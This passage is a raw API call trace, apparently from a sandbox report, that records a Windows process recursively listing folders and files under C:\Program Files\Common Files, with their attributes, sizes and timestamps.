ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0044.223] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.223] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.224] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Folders", cAlternateFileName="WEBFOL~1")) returned 1 [0044.224] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.225] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a02ad50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.225] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.225] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Folders\\1033\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.225] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeeeb5310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeeeb5310, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.225] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbca8c600, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeeeb5310, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbca8c600, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSVINT.DLL", cAlternateFileName="")) returned 1 [0044.231] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.237] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0044.237] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x6a02ad50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xaf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOSV.DLL", cAlternateFileName="")) returned 1 [0044.237] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.238] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.238] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1 [0044.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.238] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.238] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 1 [0044.238] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.239] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.239] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 1 [0044.239] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0044.239] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.240] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0044.240] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\14\\BIN\\1033\\*", lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0044.240] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.241] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x870ca400, ftCreationTime.dwHighDateTime=0x1cac036, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 1 [0044.241] FindClose (in: hFindFile=0x3f02308 | out: hFindFile=0x3f02308) returned 1 [0044.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0044.241] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0044.241] FindClose (in: hFindFile=0x3f02248 | out: hFindFile=0x3f02248) returned 1 [0044.241] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36e0750 | out: hHeap=0x5a0000) returned 1 [0044.241] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0044.241] FindClose (in: hFindFile=0x3f02188 | out: hFindFile=0x3f02188) returned 1 [0044.243] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f03070 | out: hHeap=0x5a0000) returned 1 [0044.244] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0044.244] FindClose (in: hFindFile=0x3f022c8 | out: hFindFile=0x3f022c8) returned 1 [0044.244] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f74b60 | out: hHeap=0x5a0000) returned 1 [0044.245] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0044.245] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0044.245] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0044.245] FindNextFileW (in: hFindFile=0x3f02108, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0044.245] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0044.245] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.245] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafbfd139, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0xafbfd139, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0xafbfd139, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="verisign.bmp", cAlternateFileName="")) returned 1 [0044.245] FindClose (in: hFindFile=0x3f02148 | out: hFindFile=0x3f02148) returned 1 [0044.245] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x36b0738 | out: hHeap=0x5a0000) returned 1 [0044.245] FindNextFileW (in: hFindFile=0x3f02108, lpFindFileData=0x394f808 | out: lpFindFileData=0x394f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SpeechEngines", cAlternateFileName="SPEECH~1")) returned 1 [0044.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02148 [0044.246] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.246] FindNextFileW (in: hFindFile=0x3f02148, lpFindFileData=0x394f58c | out: lpFindFileData=0x394f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0044.246] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f022c8 [0044.247] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.247] FindNextFileW (in: hFindFile=0x3f022c8, lpFindFileData=0x394f310 | out: lpFindFileData=0x394f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TTS20", cAlternateFileName="")) returned 1 [0044.247] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02188 [0044.247] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.247] FindNextFileW (in: hFindFile=0x3f02188, lpFindFileData=0x394f094 | out: lpFindFileData=0x394f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0044.248] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02248 [0044.248] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0044.248] FindNextFileW (in: hFindFile=0x3f02248, lpFindFileData=0x394ee18 | out: lpFindFileData=0x394ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="enu-dsk", cAlternateFileName="")) returned 1 [0044.249] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x394eb9c | out: lpFindFileData=0x394eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3f02308 [0044.249] FindNextFileW (in: hFindFile=0x3f02308, lpFindFileData=0x394eb9c | out: 